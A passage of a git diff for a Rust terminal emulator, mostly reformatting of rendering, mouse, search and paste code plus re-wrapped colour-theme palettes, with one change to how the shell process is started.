prelude::FluentBuilder, px, size, }; use crate::boxdraw; use crate::glyphs::{self, Glyph, GlyphCache}; use crate::links::{self, Link, LinkFinder}; -use crate::scrollbar::{self, Position}; -use crate::search::Search; -use crate::shell_integration; use crate::marks; use crate::mouse::{self, Action as MouseAction, Button as ReportButton}; use crate::pty::{GridSize, Owner, Pty}; +use crate::scrollbar::{self, Position}; +use crate::search::Search; use crate::settings::{Bell, LinkModifier, MONO_FONT, RightClick, Settings, ui_font}; +use crate::shell_integration; use crate::theme::{Theme, alpha, indexed}; use crate::vi::{self, Outcome, ViState}; use crate::{Copy, CopyLastOutput, Find, NextPrompt, Paste, PrevPrompt, ToggleSelectMode, input}; @@ -166,10 +165,7 @@ impl Focusable for TerminalView { } fn default_title() -> String { - std::env::var("SHELL") - .ok() - .and_then(|s| s.rsplit('/').next().map(str::to_string)) - .unwrap_or_else(|| "shell".into()) + std::env::var("SHELL").ok().and_then(|s| s.rsplit('/').next().map(str::to_string)).unwrap_or_else(|| "shell".into()) } /// A shell started before its pane exists (see [`prespawn`]). @@ -226,9 +222,9 @@ impl TerminalView { if let Some(argv) = program { return cx.new(|cx| Self::program(argv, window, cx)); } - let waiting = owner.is_none().then(|| { - PRESPAWNED.with_borrow_mut(|p| p.iter().position(|s| s.cwd == cwd).map(|i| p.remove(i))) - }); + let waiting = owner + .is_none() + .then(|| PRESPAWNED.with_borrow_mut(|p| p.iter().position(|s| s.cwd == cwd).map(|i| p.remove(i)))); match waiting.flatten() { Some(s) => cx.insert_entity(s.reservation, |cx| Self::with_pty(s.pty, s.rx, default_title(), window, cx)), None => cx.new(|cx| Self::new(cwd, owner, window, cx)), @@ -242,8 +238,9 @@ impl TerminalView { let base_title = owner.as_ref().map_or_else(default_title, |o| o.name.clone()); let (pty, rx) = match owner { Some(owner) => Pty::plugin(owner, pane, config), - None => Pty::spawn(cwd, settings.shell.as_deref(), settings.shell_integration, pane, config, GridSize::DEFAULT) - .expect("failed to spawn shell"), + None => { + Pty::shell(cwd, settings.shell.as_deref(), settings.shell_integration, pane, config, GridSize::DEFAULT) + } }; Self::with_pty(pty, rx, base_title, window, cx) } @@ -256,8 +253,14 @@ impl TerminalView { let (spawned, program) = match Pty::spawn(None, Some(&argv), false, pane, config.clone(), GridSize::DEFAULT) { Ok(p) => (p, true), Err(_) => ( - Pty::spawn(None, settings.shell.as_deref(), settings.shell_integration, pane, config, GridSize::DEFAULT) - .expect("failed to spawn shell"), + Pty::shell( + None, + settings.shell.as_deref(), + settings.shell_integration, + pane, + config, + GridSize::DEFAULT, + ), false, ), }; @@ -457,7 +460,10 @@ impl TerminalView { }), ); let after = Settings::get(cx).notify_after; - if after == 0 || done.duration < std::time::Duration::from_secs(after) || (self.focused && self.window_active) { + if after == 0 + || done.duration < std::time::Duration::from_secs(after) + || (self.focused && self.window_active) + { continue; } let ok = done.exit.is_none_or(|c| c == 0); @@ -502,11 +508,7 @@ impl TerminalView { let term = self.pty.term.lock(); let grid = term.grid(); let blank = |line: Line| grid[line].into_iter().all(|c| c.c == ' ' || c.c == '\0'); - let bottom = (0..term.screen_lines() as i32) - .rev() - .map(Line) - .find(|&l| !blank(l)) - .unwrap_or(Line(0)); + let bottom = (0..term.screen_lines() as i32).rev().map(Line).find(|&l| !blank(l)).unwrap_or(Line(0)); let top = match lines { Some(n) => Line((bottom.0 - n as i32 + 1).max(term.topmost_line().0)), None => Line(0), @@ -551,16 +553,10 @@ impl TerminalView { _ => theme.cursor, }; let rgba: Rgba = color.into(); - let rgb = Rgb { - r: (rgba.r * 255.0) as u8, - g: (rgba.g * 255.0) as u8, - b: (rgba.b * 255.0) as u8, - }; + let rgb = Rgb { r: (rgba.r * 255.0) as u8, g: (rgba.g * 255.0) as u8, b: (rgba.b * 255.0) as u8 }; self.pty.write(format(rgb).into_bytes()); } - Event::TextAreaSizeRequest(format) => { - self.pty.write(format(self.pty.window_size()).into_bytes()) - } + Event::TextAreaSizeRequest(format) => self.pty.write(format(self.pty.window_size()).into_bytes()), Event::Bell => { crate::api::emit("bell", serde_json::json!({ "pane": cx.entity_id().as_u64() })); self.ring(cx); @@ -596,13 +592,7 @@ impl TerminalView { Some((x.min(l.cols.saturating_sub(1)), y.min(l.rows.saturating_sub(1)))) } - fn report_mouse( - &mut self, - button: ReportButton, - action: MouseAction, - pos: Point, - mods: &Modifiers, - ) { + fn report_mouse(&mut self, button: ReportButton, action: MouseAction, pos: Point, mods: &Modifiers) { let Some((col, row)) = self.viewport_cell(pos) else { return }; if action == MouseAction::Motion && self.last_report_cell == Some((col, row)) { return; @@ -653,12 +643,7 @@ impl TerminalView { } } - fn on_modifiers_changed( - &mut self, - ev: &ModifiersChangedEvent, - _: &mut Window, - cx: &mut Context, - ) { + fn on_modifiers_changed(&mut self, ev: &ModifiersChangedEvent, _: &mut Window, cx: &mut Context) { if let Some((_, mods)) = &mut self.pointer { *mods = ev.modifiers; self.update_hovered_link(cx); @@ -857,10 +842,7 @@ impl TerminalView { } return; } - if ev.pressed_button.is_none() - && !ev.modifiers.shift - && mouse::wants_motion(mode, false) - { + if ev.pressed_button.is_none() && !ev.modifiers.shift && mouse::wants_motion(mode, false) { self.report_mouse(ReportButton::None, MouseAction::Motion, ev.position, &ev.modifiers); return; } @@ -979,12 +961,7 @@ impl TerminalView { return; } // Start from the selection when it's a single short line. - let selected = self - .pty - .term - .lock() - .selection_to_string() - .filter(|t| !t.contains('\n') && t.len() <= 200); + let selected = self.pty.term.lock().selection_to_string().filter(|t| !t.contains('\n') && t.len() <= 200); let mut search = Search::default(); search.query = selected.unwrap_or_default(); self.search = Some(search); @@ -1242,11 +1219,7 @@ impl TerminalView { fn paste_text(&mut self, text: &str) { let bracketed = self.pty.term.lock().mode().contains(TermMode::BRACKETED_PASTE); let body = text.replace("\r\n", "\r").replace('\n', "\r"); - let data = if bracketed { - format!("\x1b[200~{}\x1b[201~", body.replace('\x1b', "")) - } else { - body - }; + let data = if bracketed { format!("\x1b[200~{}\x1b[201~", body.replace('\x1b', "")) } else { body }; self.pty.term.lock().scroll_display(Scroll::Bottom); self.pty.write(data.into_bytes()); } @@ -1553,11 +1526,7 @@ fn search_bar(search: &Search, theme: &Theme) -> gpui::AnyElement { .when(!has_query, |d| d.child(caret(theme.accent)).child("Find")) .when(has_query, |d| d.child(search.query.clone()).child(caret(theme.accent))), ) - .child( - div() - .text_color(if search.invalid { theme.ansi[1] } else { theme.subtext }) - .child(status), - ) + .child(div().text_color(if search.invalid { theme.ansi[1] } else { theme.subtext }).child(status)) .child(toggle("Aa", search.case_sensitive, "search-case")) .child(toggle(".*", search.regex, "search-regex")) .into_any_element() @@ -1640,12 +1609,8 @@ fn paint_shape(window: &mut Window, shape: boxdraw::Shape, color: Hsla) { match corner { Corner::TopLeft => (radii.top_left, edges.top, edges.left) = (radius, width, width), Corner::TopRight => (radii.top_right, edges.top, edges.right) = (radius, width, width), - Corner::BottomRight => { - (radii.bottom_right, edges.bottom, edges.right) = (radius, width, width) - } - Corner::BottomLeft => { - (radii.bottom_left, edges.bottom, edges.left) = (radius, width, width) - } + Corner::BottomRight => (radii.bottom_right, edges.bottom, edges.right) = (radius, width, width), + Corner::BottomLeft => (radii.bottom_left, edges.bottom, edges.left) = (radius, width, width), } window.with_content_mask(Some(gpui::ContentMask { bounds: clip }), |window| { window.paint_quad(gpui::quad( @@ -1658,8 +1623,7 @@ fn paint_shape(window: &mut Window, shape: boxdraw::Shape, color: Hsla) { )) }); } - Shape::Polygon(points) | Shape::Polyline(points, _) - if points.len() < 2 => {} + Shape::Polygon(points) | Shape::Polyline(points, _) if points.len() < 2 => {} Shape::Polygon(points) => { let mut path = gpui::PathBuilder::fill(); path.move_to(points[0]); @@ -1685,16 +1649,13 @@ fn paint_shape(window: &mut Window, shape: boxdraw::Shape, color: Hsla) { } fn rgb_to_hsla(rgb: Rgb) -> Hsla { - Rgba { r: rgb.r as f32 / 255.0, g: rgb.g as f32 / 255.0, b: rgb.b as f32 / 255.0, a: 1.0 } - .into() + Rgba { r: rgb.r as f32 / 255.0, g: rgb.g as f32 / 255.0, b: rgb.b as f32 / 255.0, a: 1.0 }.into() } fn resolve(color: Color, colors: &Colors, theme: &Theme) -> Hsla { match color { Color::Spec(rgb) => rgb_to_hsla(rgb), - Color::Indexed(i) => { - colors[i as usize].map(rgb_to_hsla).unwrap_or_else(|| indexed(theme, i)) - } + Color::Indexed(i) => colors[i as usize].map(rgb_to_hsla).unwrap_or_else(|| indexed(theme, i)), Color::Named(named) => { let idx = named as usize; if let Some(rgb) = colors[named] { @@ -1738,11 +1699,7 @@ impl Render for TerminalView { let hovered_link = self.hovered_link.clone(); let dragging = self.selecting || self.reported_button.is_some(); let mouse_mode = mouse::reporting(self.mode()); - let search_hits = self - .search - .as_ref() - .map(|s| s.visible(&self.pty.term.lock())) - .unwrap_or_default(); + let search_hits = self.search.as_ref().map(|s| s.visible(&self.pty.term.lock())).unwrap_or_default(); let search_bar = self.search.as_ref().map(|s| search_bar(s, &theme)); let flashing = self.bell_at.is_some_and(|t| t.elapsed() < BELL_FLASH); let flash_color = alpha(theme.text, 0.08); @@ -1787,10 +1744,7 @@ impl Render for TerminalView { let text_system = window.text_system().clone(); let base_font = font(font_family.clone()); let font_id = text_system.resolve_font(&base_font); - let cell_width = text_system - .advance(font_id, font_size, 'm') - .map(|s| s.width) - .unwrap_or(px(8.0)); + let cell_width = text_system.advance(font_id, font_size, 'm').map(|s| s.width).unwrap_or(px(8.0)); let line_height = (font_size * line_height_factor).round(); let cols = ((bounds.size.width / cell_width).floor() as usize).max(2); let rows = ((bounds.size.height / line_height).floor() as usize).max(1); @@ -1798,18 +1752,9 @@ impl Render for TerminalView { // evenly between opposite edges (whole pixels keep glyphs crisp). let slack_x = (bounds.size.width - cell_width * cols as f32).max(px(0.0)); let slack_y = (bounds.size.height - line_height * rows as f32).max(px(0.0)); - let origin = point( - (bounds.origin.x + slack_x / 2.0).round(), - (bounds.origin.y + slack_y / 2.0).round(), - ); + let origin = point((bounds.origin.x + slack_x / 2.0).round(), (bounds.origin.y + slack_y / 2.0).round()); - layout_cell.set(Some(GridLayout { - origin, - cell_width, - line_height, - cols, - rows, - })); + layout_cell.set(Some(GridLayout { origin, cell_width, line_height, cols, rows })); let grid_size = GridSize { cols: cols as u16, @@ -1864,10 +1809,7 @@ impl Render for TerminalView { let cell_bounds = |row: usize, col: usize, span: usize| { Bounds::new( - point( - origin.x + cell_width * col as f32, - origin.y + line_height * row as f32, - ), + point(origin.x + cell_width * col as f32, origin.y + line_height * row as f32), size(cell_width * span as f32, line_height), ) }; @@ -1934,14 +1876,11 @@ impl Render for TerminalView { if flags.contains(Flags::DIM) { fg = alpha(fg, 0.66); } - let in_link = - hovered_link.as_ref().is_some_and(|l| l.range.contains(&indexed_cell.point)); + let in_link = hovered_link.as_ref().is_some_and(|l| l.range.contains(&indexed_cell.point)); if in_link { fg = theme.accent; } - if let Some((_, current)) = - search_hits.iter().find(|(r, _)| r.contains(&indexed_cell.point)) - { + if let Some((_, current)) = search_hits.iter().find(|(r, _)| r.contains(&indexed_cell.point)) { if *current { bg = Some(theme.accent); fg = theme.pane; @@ -1952,9 +1891,7 @@ impl Render for TerminalView { if selection.is_some_and(|s| s.contains(indexed_cell.point)) { bg = Some(theme.selection); } - let is_cursor = show_cursor - && row == cursor_row as usize - && col == cursor.point.column.0; + let is_cursor = show_cursor && row == cursor_row as usize && col == cursor.point.column.0; if is_cursor { cursor_wide = wide; if focused && cursor.shape == CursorShape::Block { @@ -1978,12 +1915,11 @@ impl Render for TerminalView { } // Underline and strikethrough runs - let underline = - (in_link || flags.intersects(Flags::ALL_UNDERLINES)).then(|| UnderlineStyle { - thickness: px(1.0), - color: Some(fg), - wavy: !in_link && flags.contains(Flags::UNDERCURL), - }); + let underline = (in_link || flags.intersects(Flags::ALL_UNDERLINES)).then(|| UnderlineStyle { + thickness: px(1.0), + color: Some(fg), + wavy: !in_link && flags.contains(Flags::UNDERCURL), + }); extend_run(&mut underline_run, underline, (row, col, span), &mut underlines); let strike = flags .contains(Flags::STRIKEOUT) @@ -1992,8 +1928,7 @@ impl Render for TerminalView { // Text let ch = if flags.contains(Flags::HIDDEN) || cell.c == '\t' { ' ' } else { cell.c }; - let style = (flags.contains(Flags::BOLD) as u8) - | ((flags.contains(Flags::ITALIC) as u8) << 1); + let style = (flags.contains(Flags::BOLD) as u8) | ((flags.contains(Flags::ITALIC) as u8) << 1); let zerowidth = cell.zerowidth().filter(|z| !z.is_empty() && ch != ' '); if ligatures && !wide && zerowidth.is_none() && glyphs::joins(ch) { if let Some(j) = &mut join @@ -2021,9 +1956,7 @@ impl Render for TerminalView { let top = f32::from(origin.y + line_height * row as f32).round(); let bottom = top + f32::from(line_height); shapes.extend( - boxdraw::shapes(ch, edge(col), edge(col + span), top, bottom) - .into_iter() - .map(|s| (s, fg)), + boxdraw::shapes(ch, edge(col), edge(col + span), top, bottom).into_iter().map(|s| (s, fg)), ); continue; } @@ -2127,8 +2060,8 @@ impl Render for TerminalView { }); let scrollbar_track = scrollbar_on.then(|| scrollbar::track(bounds, padding, scrollbar_width)); - let scrollbar_hitbox = scrollbar_track - .map(|track| window.insert_hitbox(scrollbar_zone(track), gpui::HitboxBehavior::Normal)); + let scrollbar_hitbox = + scrollbar_track.map(|track| window.insert_hitbox(scrollbar_zone(track), gpui::HitboxBehavior::Normal)); let scrollbar = scrollbar_track.filter(|_| scrollbar_opacity > 0.0).map(|track| { let pos = Position { history, rows, offset: offset as usize }; ScrollbarDraw { @@ -2196,9 +2129,7 @@ impl Render for TerminalView { } for d in &frame.decorations { match d { - Decoration::Underline(origin, width, style) => { - window.paint_underline(*origin, *width, style) - } + Decoration::Underline(origin, width, style) => window.paint_underline(*origin, *width, style), Decoration::Strikethrough(origin, width, style) => { window.paint_strikethrough(*origin, *width, style) } @@ -2210,15 +2141,11 @@ impl Render for TerminalView { CursorShape::Block if focused => {} CursorShape::Block | CursorShape::HollowBlock => { window.paint_quad( - gpui::outline(b, cursor_color, gpui::BorderStyle::Solid) - .corner_radii(px(2.0)), + gpui::outline(b, cursor_color, gpui::BorderStyle::Solid).corner_radii(px(2.0)), ); } CursorShape::Beam => { - window.paint_quad(fill( - Bounds::new(b.origin, size(thick, b.size.height)), - cursor_color, - )); + window.paint_quad(fill(Bounds::new(b.origin, size(thick, b.size.height)), cursor_color)); } CursorShape::Underline => { window.paint_quad(fill( @@ -2244,7 +2171,9 @@ impl Render for TerminalView { if let Some(bar) = &frame.scrollbar { let o = bar.opacity; window.paint_quad(fill(bar.track, alpha(theme_text, 0.05 * o)).corner_radii(px(3.0))); - window.paint_quad(fill(bar.thumb, alpha(theme_text, if held { 0.38 } else { 0.26 } * o)).corner_radii(px(3.0))); + window.paint_quad( + fill(bar.thumb, alpha(theme_text, if held { 0.38 } else { 0.26 } * o)).corner_radii(px(3.0)), + ); // A command's mark across the track: red if it failed. for &(y, failed) in &bar.ticks { let color = if failed { alpha(theme_red, o) } else { alpha(theme_muted, 0.7 * o) }; @@ -2310,9 +2239,7 @@ impl Render for TerminalView { point(bounds.origin.x, bounds.origin.y + bounds.size.height - height), size(width, height), ); - window.paint_quad( - fill(pill, *bg).corner_radii(px(6.0)).border_widths(px(1.0)).border_color(*border), - ); + window.paint_quad(fill(pill, *bg).corner_radii(px(6.0)).border_widths(px(1.0)).border_color(*border)); window.with_content_mask(Some(gpui::ContentMask { bounds: pill }), |window| { let origin = point(pill.origin.x + pad_x, pill.origin.y + px(3.0)); let _ = label.paint(origin, px(16.0), window, cx); @@ -2354,9 +2281,7 @@ impl Render for TerminalView { .child(canvas(prepaint, paint).size_full()) .children(search_bar) .children(select_badge) - .when(flashing, |d| { - d.child(div().absolute().inset_0().bg(flash_color)) - }) + .when(flashing, |d| d.child(div().absolute().inset_0().bg(flash_color))) } } diff --git a/src/theme.rs b/src/theme.rs index eaad68f..14553ab 100644 --- a/src/theme.rs +++ b/src/theme.rs @@ -54,8 +54,8 @@ pub fn themes() -> Vec { cursor: c(0xebbcba), selection: with_alpha(c(0x403d52), 0.9), ansi: ansi([ - 0x26233a, 0xeb6f92, 0x31748f, 0xf6c177, 0x9ccfd8, 0xc4a7e7, 0xebbcba, 0xe0def4, - 0x6e6a86, 0xeb6f92, 0x31748f, 0xf6c177, 0x9ccfd8, 0xc4a7e7, 0xebbcba, 0xe0def4, + 0x26233a, 0xeb6f92, 0x31748f, 0xf6c177, 0x9ccfd8, 0xc4a7e7, 0xebbcba, 0xe0def4, 0x6e6a86, 0xeb6f92, + 0x31748f, 0xf6c177, 0x9ccfd8, 0xc4a7e7, 0xebbcba, 0xe0def4, ]), } }, @@ -74,8 +74,8 @@ pub fn themes() -> Vec { cursor: c(0xea9a97), selection: with_alpha(c(0x44415a), 0.9), ansi: ansi([ - 0x393552, 0xeb6f92, 0x3e8fb0, 0xf6c177, 0x9ccfd8, 0xc4a7e7, 0xea9a97, 0xe0def4, - 0x6e6a86, 0xeb6f92, 0x3e8fb0, 0xf6c177, 0x9ccfd8, 0xc4a7e7, 0xea9a97, 0xe0def4, + 0x393552, 0xeb6f92, 0x3e8fb0, 0xf6c177, 0x9ccfd8, 0xc4a7e7, 0xea9a97, 0xe0def4, 0x6e6a86, 0xeb6f92, + 0x3e8fb0, 0xf6c177, 0x9ccfd8, 0xc4a7e7, 0xea9a97, 0xe0def4, ]), } }, @@ -94,8 +94,8 @@ pub fn themes() -> Vec { cursor: c(0xf5e0dc), selection: with_alpha(c(0x45475a), 0.9), ansi: ansi([ - 0x45475a, 0xf38ba8, 0xa6e3a1, 0xf9e2af, 0x89b4fa, 0xf5c2e7, 0x94e2d5, 0xbac2de, - 0x585b70, 0xf38ba8, 0xa6e3a1, 0xf9e2af, 0x89b4fa, 0xf5c2e7, 0x94e2d5, 0xa6adc8, + 0x45475a, 0xf38ba8, 0xa6e3a1, 0xf9e2af, 0x89b4fa, 0xf5c2e7, 0x94e2d5, 0xbac2de, 0x585b70, 0xf38ba8, + 0xa6e3a1, 0xf9e2af, 0x89b4fa, 0xf5c2e7, 0x94e2d5, 0xa6adc8, ]), } }, @@ -114,8 +114,8 @@ pub fn themes() -> Vec { cursor: c(0xc0caf5), selection: with_alpha(c(0x283457), 0.95), ansi: ansi([ - 0x15161e, 0xf7768e, 0x9ece6a, 0xe0af68, 0x7aa2f7, 0xbb9af7, 0x7dcfff, 0xa9b1d6, - 0x414868, 0xf7768e, 0x9ece6a, 0xe0af68, 0x7aa2f7, 0xbb9af7, 0x7dcfff, 0xc0caf5, + 0x15161e, 0xf7768e, 0x9ece6a, 0xe0af68, 0x7aa2f7, 0xbb9af7, 0x7dcfff, 0xa9b1d6, 0x414868, 0xf7768e, + 0x9ece6a, 0xe0af68, 0x7aa2f7, 0xbb9af7, 0x7dcfff, 0xc0caf5, ]), } }, @@ -134,8 +134,8 @@ pub fn themes() -> Vec { cursor: c(0xd7827e), selection: with_alpha(c(0xdfdad9), 0.95), ansi: ansi([ - 0xf2e9e1, 0xb4637a, 0x286983, 0xea9d34, 0x56949f, 0x907aa9, 0xd7827e, 0x575279, - 0x9893a5, 0xb4637a, 0x286983, 0xea9d34, 0x56949f, 0x907aa9, 0xd7827e, 0x575279, + 0xf2e9e1, 0xb4637a, 0x286983, 0xea9d34, 0x56949f, 0x907aa9, 0xd7827e, 0x575279, 0x9893a5, 0xb4637a, + 0x286983, 0xea9d34, 0x56949f, 0x907aa9, 0xd7827e, 0x575279, ]), } }, @@ -154,8 +154,8 @@ pub fn themes() -> Vec { cursor: c(0xf2d5cf), selection: with_alpha(c(0x51576d), 0.9), ansi: ansi([ - 0x51576d, 0xe78284, 0xa6d189, 0xe5c890, 0x8caaee, 0xf4b8e4, 0x81c8be, 0xb5bfe2, - 0x626880, 0xe78284, 0xa6d189, 0xe5c890, 0x8caaee, 0xf4b8e4, 0x81c8be, 0xa5adce, + 0x51576d, 0xe78284, 0xa6d189, 0xe5c890, 0x8caaee, 0xf4b8e4, 0x81c8be, 0xb5bfe2, 0x626880, 0xe78284, + 0xa6d189, 0xe5c890, 0x8caaee, 0xf4b8e4, 0x81c8be, 0xa5adce, ]), }, Theme { @@ -172,8 +172,8 @@ pub fn themes() -> Vec { cursor: c(0xf4dbd6), selection: with_alpha(c(0x494d64), 0.9), ansi: ansi([ - 0x494d64, 0xed8796, 0xa6da95, 0xeed49f, 0x8aadf4, 0xf5bde6, 0x8bd5ca, 0xb8c0e0, - 0x5b6078, 0xed8796, 0xa6da95, 0xeed49f, 0x8aadf4, 0xf5bde6, 0x8bd5ca, 0xa5adcb, + 0x494d64, 0xed8796, 0xa6da95, 0xeed49f, 0x8aadf4, 0xf5bde6, 0x8bd5ca, 0xb8c0e0, 0x5b6078, 0xed8796, + 0xa6da95, 0xeed49f, 0x8aadf4, 0xf5bde6, 0x8bd5ca, 0xa5adcb, ]), }, Theme { @@ -190,8 +190,8 @@ pub fn themes() -> Vec { cursor: c(0xdc8a78), selection: with_alpha(c(0xccd0da), 0.9), ansi: ansi([ - 0x5c5f77, 0xd20f39, 0x40a02b, 0xdf8e1d, 0x1e66f5, 0xea76cb, 0x179299, 0xacb0be, - 0x6c6f85, 0xd20f39, 0x40a02b, 0xdf8e1d, 0x1e66f5, 0xea76cb, 0x179299, 0xbcc0cc, + 0x5c5f77, 0xd20f39, 0x40a02b, 0xdf8e1d, 0x1e66f5, 0xea76cb, 0x179299, 0xacb0be, 0x6c6f85, 0xd20f39, + 0x40a02b, 0xdf8e1d, 0x1e66f5, 0xea76cb, 0x179299, 0xbcc0cc, ]), }, Theme { @@ -208,8 +208,8 @@ pub fn themes() -> Vec { cursor: c(0xc0caf5), selection: with_alpha(c(0x2e3c64), 0.9), ansi: ansi([ - 0x1d202f, 0xf7768e, 0x9ece6a, 0xe0af68, 0x7aa2f7, 0xbb9af7, 0x7dcfff, 0xa9b1d6, - 0x414868, 0xf7768e, 0x9ece6a, 0xe0af68, 0x7aa2f7, 0xbb9af7, 0x7dcfff, 0xc0caf5, + 0x1d202f, 0xf7768e, 0x9ece6a, 0xe0af68, 0x7aa2f7, 0xbb9af7, 0x7dcfff, 0xa9b1d6, 0x414868, 0xf7768e, + 0x9ece6a, 0xe0af68, 0x7aa2f7, 0xbb9af7, 0x7dcfff, 0xc0caf5, ]), }, Theme { @@ -226,8 +226,8 @@ pub fn themes() -> Vec { cursor: c(0x3760bf), selection: with_alpha(c(0xb7c1e3), 0.9), ansi: ansi([ - 0xe9e9ed, 0xf52a65, 0x587539, 0x8c6c3e, 0x2e7de9, 0x9854f1, 0x007197, 0x6172b0, - 0xa1a6c5, 0xf52a65, 0x587539, 0x8c6c3e, 0x2e7de9, 0x9854f1, 0x007197, 0x3760bf, + 0xe9e9ed, 0xf52a65, 0x587539, 0x8c6c3e, 0x2e7de9, 0x9854f1, 0x007197, 0x6172b0, 0xa1a6c5, 0xf52a65, + 0x587539, 0x8c6c3e, 0x2e7de9, 0x9854f1, 0x007197, 0x3760bf, ]), }, Theme { @@ -244,8 +244,8 @@ pub fn themes() -> Vec { cursor: c(0xd8dee9), selection: with_alpha(c(0x434c5e), 0.9), ansi: ansi([ - 0x3b4252, 0xbf616a, 0xa3be8c, 0xebcb8b, 0x81a1c1, 0xb48ead, 0x88c0d0, 0xe5e9f0, - 0x4c566a, 0xbf616a, 0xa3be8c, 0xebcb8b, 0x81a1c1, 0xb48ead, 0x8fbcbb, 0xeceff4, + 0x3b4252, 0xbf616a, 0xa3be8c, 0xebcb8b, 0x81a1c1, 0xb48ead, 0x88c0d0, 0xe5e9f0, 0x4c566a, 0xbf616a, + 0xa3be8c, 0xebcb8b, 0x81a1c1, 0xb48ead, 0x8fbcbb, 0xeceff4, ]), }, Theme { @@ -262,8 +262,8 @@ pub fn themes() -> Vec { cursor: c(0xebdbb2), selection: with_alpha(c(0x504945), 0.9), ansi: ansi([ - 0x282828, 0xcc241d, 0x98971a, 0xd79921, 0x458588, 0xb16286, 0x689d6a, 0xa89984, - 0x928374, 0xfb4934, 0xb8bb26, 0xfabd2f, 0x83a598, 0xd3869b, 0x8ec07c, 0xebdbb2, + 0x282828, 0xcc241d, 0x98971a, 0xd79921, 0x458588, 0xb16286, 0x689d6a, 0xa89984, 0x928374, 0xfb4934, + 0xb8bb26, 0xfabd2f, 0x83a598, 0xd3869b, 0x8ec07c, 0xebdbb2, ]), }, Theme { @@ -280,8 +280,8 @@ pub fn themes() -> Vec { cursor: c(0x3c3836), selection: with_alpha(c(0xd5c4a1), 0.9), ansi: ansi([ - 0xfbf1c7, 0xcc241d, 0x98971a, 0xd79921, 0x458588, 0xb16286, 0x689d6a, 0x7c6f64, - 0x928374, 0x9d0006, 0x79740e, 0xb57614, 0x076678, 0x8f3f71, 0x427b58, 0x3c3836, + 0xfbf1c7, 0xcc241d, 0x98971a, 0xd79921, 0x458588, 0xb16286, 0x689d6a, 0x7c6f64, 0x928374, 0x9d0006, + 0x79740e, 0xb57614, 0x076678, 0x8f3f71, 0x427b58, 0x3c3836, ]), }, Theme { @@ -298,8 +298,8 @@ pub fn themes() -> Vec { cursor: c(0xc8c093), selection: with_alpha(c(0x2d4f67), 0.9), ansi: ansi([ - 0x090618, 0xc34043, 0x76946a, 0xc0a36e, 0x7e9cd8, 0x957fb8, 0x6a9589, 0xc8c093, - 0x727169, 0xe82424, 0x98bb6c, 0xe6c384, 0x7fb4ca, 0x938aa9, 0x7aa89f, 0xdcd7ba, + 0x090618, 0xc34043, 0x76946a, 0xc0a36e, 0x7e9cd8, 0x957fb8, 0x6a9589, 0xc8c093, 0x727169, 0xe82424, + 0x98bb6c, 0xe6c384, 0x7fb4ca, 0x938aa9, 0x7aa89f, 0xdcd7ba, ]), }, Theme { @@ -316,8 +316,8 @@ pub fn themes() -> Vec { cursor: c(0xd3c6aa), selection: with_alpha(c(0x475258), 0.9), ansi: ansi([ - 0x343f44, 0xe67e80, 0xa7c080, 0xdbbc7f, 0x7fbbb3, 0xd699b6, 0x83c092, 0xd3c6aa, - 0x475258, 0xe67e80, 0xa7c080, 0xdbbc7f, 0x7fbbb3, 0xd699b6, 0x83c092, 0xd3c6aa, + 0x343f44, 0xe67e80, 0xa7c080, 0xdbbc7f, 0x7fbbb3, 0xd699b6, 0x83c092, 0xd3c6aa, 0x475258, 0xe67e80, + 0xa7c080, 0xdbbc7f, 0x7fbbb3, 0xd699b6, 0x83c092, 0xd3c6aa, ]), }, Theme { @@ -334,8 +334,8 @@ pub fn themes() -> Vec { cursor: c(0x5c6a72), selection: with_alpha(c(0xe6e2cc), 0.9), ansi: ansi([ - 0x5c6a72, 0xf85552, 0x8da101, 0xdfa000, 0x3a94c5, 0xdf69ba, 0x35a77c, 0xe6e2cc, - 0x829181, 0xf85552, 0x8da101, 0xdfa000, 0x3a94c5, 0xdf69ba, 0x35a77c, 0xf4f0d9, + 0x5c6a72, 0xf85552, 0x8da101, 0xdfa000, 0x3a94c5, 0xdf69ba, 0x35a77c, 0xe6e2cc, 0x829181, 0xf85552, + 0x8da101, 0xdfa000, 0x3a94c5, 0xdf69ba, 0x35a77c, 0xf4f0d9, ]), }, Theme { @@ -352,8 +352,8 @@ pub fn themes() -> Vec { cursor: c(0x58a6ff), selection: with_alpha(c(0x264f78), 0.9), ansi: ansi([ - 0x484f58, 0xff7b72, 0x3fb950, 0xd29922, 0x58a6ff, 0xbc8cff, 0x39c5cf, 0xb1bac4, - 0x6e7681, 0xffa198, 0x56d364, 0xe3b341, 0x79c0ff, 0xd2a8ff, 0x56d4dd, 0xffffff, + 0x484f58, 0xff7b72, 0x3fb950, 0xd29922, 0x58a6ff, 0xbc8cff, 0x39c5cf, 0xb1bac4, 0x6e7681, 0xffa198, + 0x56d364, 0xe3b341, 0x79c0ff, 0xd2a8ff, 0x56d4dd, 0xffffff, ]), }, Theme { @@ -370,8 +370,8 @@ pub fn themes() -> Vec { cursor: c(0x0969da), selection: with_alpha(c(0xb6e3ff), 0.9), ansi: ansi([ - 0x24292f, 0xcf222e, 0x116329, 0x4d2d00, 0x0969da, 0x8250df, 0x1b7c83, 0x6e7781, - 0x57606a, 0xa40e26, 0x1a7f37, 0x633c01, 0x218bff, 0xa475f9, 0x3192aa, 0x8c959f, + 0x24292f, 0xcf222e, 0x116329, 0x4d2d00, 0x0969da, 0x8250df, 0x1b7c83, 0x6e7781, 0x57606a, 0xa40e26, + 0x1a7f37, 0x633c01, 0x218bff, 0xa475f9, 0x3192aa, 0x8c959f, ]), }, Theme { @@ -388,8 +388,8 @@ pub fn themes() -> Vec { cursor: c(0xcecdc3), selection: with_alpha(c(0x403e3c), 0.9), ansi: ansi([ - 0x100f0f, 0xd14d41, 0x879a39, 0xd0a215, 0x4385be, 0xce5d97, 0x3aa99f, 0x878580, - 0x575653, 0xaf3029, 0x66800b, 0xad8301, 0x205ea6, 0xa02f6f, 0x24837b, 0xcecdc3, + 0x100f0f, 0xd14d41, 0x879a39, 0xd0a215, 0x4385be, 0xce5d97, 0x3aa99f, 0x878580, 0x575653, 0xaf3029, + 0x66800b, 0xad8301, 0x205ea6, 0xa02f6f, 0x24837b, 0xcecdc3, ]), }, Theme { @@ -406,8 +406,8 @@ pub fn themes() -> Vec { cursor: c(0x100f0f), selection: with_alpha(c(0xdad8ce), 0.9), ansi: ansi([ - 0x100f0f, 0xaf3029, 0x66800b, 0xad8301, 0x205ea6, 0xa02f6f, 0x24837b, 0x6f6e69, - 0xb7b5ac, 0xd14d41, 0x879a39, 0xd0a215, 0x4385be, 0xce5d97, 0x3aa99f, 0xf2f0e5, + 0x100f0f, 0xaf3029, 0x66800b, 0xad8301, 0x205ea6, 0xa02f6f, 0x24837b, 0x6f6e69, 